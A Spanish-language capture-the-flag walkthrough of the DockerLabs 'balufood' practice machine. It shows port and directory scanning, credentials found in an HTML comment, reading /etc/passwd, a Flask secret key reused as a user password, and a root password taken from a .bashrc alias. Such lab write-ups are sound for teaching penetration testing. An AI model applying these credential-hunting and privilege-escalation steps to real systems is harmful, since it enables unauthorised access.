

Desplegamos la máquina.

```
> sudo bash auto_deploy.sh balufood.tar
[sudo] contraseña para kali:

      ##
    ## ## ##
  ## ## ## ##
  / " " " " " " " " \
NNN { NN NNNN NN NNNN NN N / ===- NNN
    \ " " " " " " " " /
      o

D O C K E R L A B S

Estamos desplegando la máquina vulnerable, espere un momento.
Máquina desplegada, su dirección IP es --> 172.17.0.2
```

Realimos un nmap para comprobar puertos abiertos y sus servicios.

```
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 9.2p1 Debian 2+deb12u5 (protocol 2.0)
| ssh-hostkey:
|   256 69:15:7d:34:74:1c:21:8a:cb:2c:a2:8c:42:a4:21:7f (ECDSA)
|_  256 a7:3a:c9:b2:ac:cf:44:77:a7:9c:ab:89:98:c7:88:3f (ED25519)
5000/tcp  open  http      Werkzeug httpd 2.2.2 (Python 3.11.2)
|_ http-title: Restaurante Balulero - Inicio
|_ http-server-header: Werkzeug/2.2.2 Python/3.11.2
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

Con whatweb vemos las tecnologías que tiene la página web.

```
> whatweb http://172.17.0.2:5000
http://172.17.0.2:5000 [200 OK] Bootstrap, Country[RESERVED][ZZ], Frame, HTML5, HTTPServer[Werkzeug/2.2.2 Python/3.11.2], IP[172.17.0.2], Python[3.11.2], Script, Title[Restaurante Balulero - Inicio], Werkzeug[2.2.2]
```

Aplicamos un dirb para comprobar archivos y directorios ocultos.

```
> dirb http://172.17.0.2:5000

-----
DIRB v2.22
By The Dark Raver
-----

START_TIME: Tue Aug 5 11:32:51 2025
URL_BASE: http://172.17.0.2:5000/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----
GENERATED WORDS: 4612

---- Scanning URL: http://172.17.0.2:5000/ ----
+ http://172.17.0.2:5000/admin (CODE:302|SIZE:199)
+ http://172.17.0.2:5000/console (CODE:400|SIZE:167)
+ http://172.17.0.2:5000/login (CODE:200|SIZE:1850)
+ http://172.17.0.2:5000/logout (CODE:302|SIZE:189)
```

Tenemos un login y probamos admin:admin.

Inicio de Sesión

Usuario

admin

Contraseña

•••••

Entrar

Inspeccionando la web vemos un acceso por ssh.

```
<!-- Backup de acceso: sysadmin:backup123 -->
```

Accedemos mediante ssh con las credenciales proporcionadas y además vemos si estamos en algún grupo especial.

```
> ssh sysadmin@172.17.0.2
sysadmin@172.17.0.2's password:
Linux bddcbc617ee6 6.12.33+kali-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.12
4

The programs included with the Debian GNU/Linux system are free softwa
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue Aug 5 09:37:01 2025 from 172.17.0.1
sysadmin@bddcbc617ee6:~$ id
uid=1000(sysadmin) gid=1000(sysadmin) groups=1000(sysadmin),100(users)
```

Vemos los usuarios que hay en la máquina a parte del que ya tenemos.

```
sysadmin@bddcbc617ee6:~$ cat /etc/passwd | grep sh
root:x:0:0:root:/root:/bin/bash
sysadmin:x:1000:1000:sysadmin,sysadmin,,:/home/sysadmin:/bin/bash
sshd:x:101:65534:/:run/sshd:/usr/sbin/nologin
balulero:x:1001:1001:balulero,,:/home/balulero:/bin/bash
```

Comprobamos los archivos que tenemos en el directorio personal.

```
sysadmin@bddcbc617ee6:~$ ls -la
total 48
drwx---r-- 4 sysadmin sysadmin 4096 Apr 29 12:59 .
drwxr-xr-x 1 root root 4096 Apr 29 12:56 ..
-rw----- 1 sysadmin sysadmin 41 Apr 29 12:53 .bash_history
-rw-r--r-- 1 sysadmin sysadmin 220 Apr 29 12:51 .bash_logout
-rw-r--r-- 1 sysadmin sysadmin 3526 Apr 29 12:51 .bashrc
-rw-r--r-- 1 sysadmin sysadmin 807 Apr 29 12:51 .profile
-rw-r--r-- 1 root root 3809 Apr 29 12:59 app.py
-rw-r--r-- 1 root root 12288 Apr 29 12:45 restaurant.db
drwxr-xr-x 3 root root 4096 Apr 28 18:55 static
drwxr-xr-x 2 root root 4096 Apr 29 13:00 templates
```

Hay un archivo Python, al que le echamos un vistado y nos da una contraseña.

```
sysadmin@bddcbc617ee6:~$ cat app.py
from flask import Flask, render_templ
import sqlite3
from functools import wraps

app = Flask(__name__)
app.secret_key = 'cuidaditocuidadin'
```

Probamos esa contraseña y nos da acceso para conectarnos como el siguiente usuario.

```
sysadmin@bddcbc617ee6:~$ su balulero
Password:
balulero@bddcbc617ee6:/home/sysadmin$ id
uid=1001(balulero) gid=1001(balulero) groups=1001(balulero),100(users)
```

Viendo el historial de bash de balulero podemos comprobar que hay un alias.

```
balulero@bddcbc617ee6:~$ cat .bash_history
nano ~/.bashrc
apt install nano -y
exit
nano ~/.bashrc
source nano ~/.bashrc
source ~/.bashrc
alias
su root
exit
```

Vemos en la bashrc que el alias para ser root solo hay que cambiar al usuario root con la contraseña que nos proporciona. Y listo ya somos root.

```
balulero@bbdcbc617ee6:~$ cat .bashrc  
# ~/.bashrc: executed by bash(1) for
```

```
alias ser-root='echo chocolate2 | su - root'
```

```
balulero@bbdcbc617ee6:~$ su root  
Password:  
root@bbdcbc617ee6:/home/balulero# id  
uid=0(root) gid=0(root) groups=0(root)
```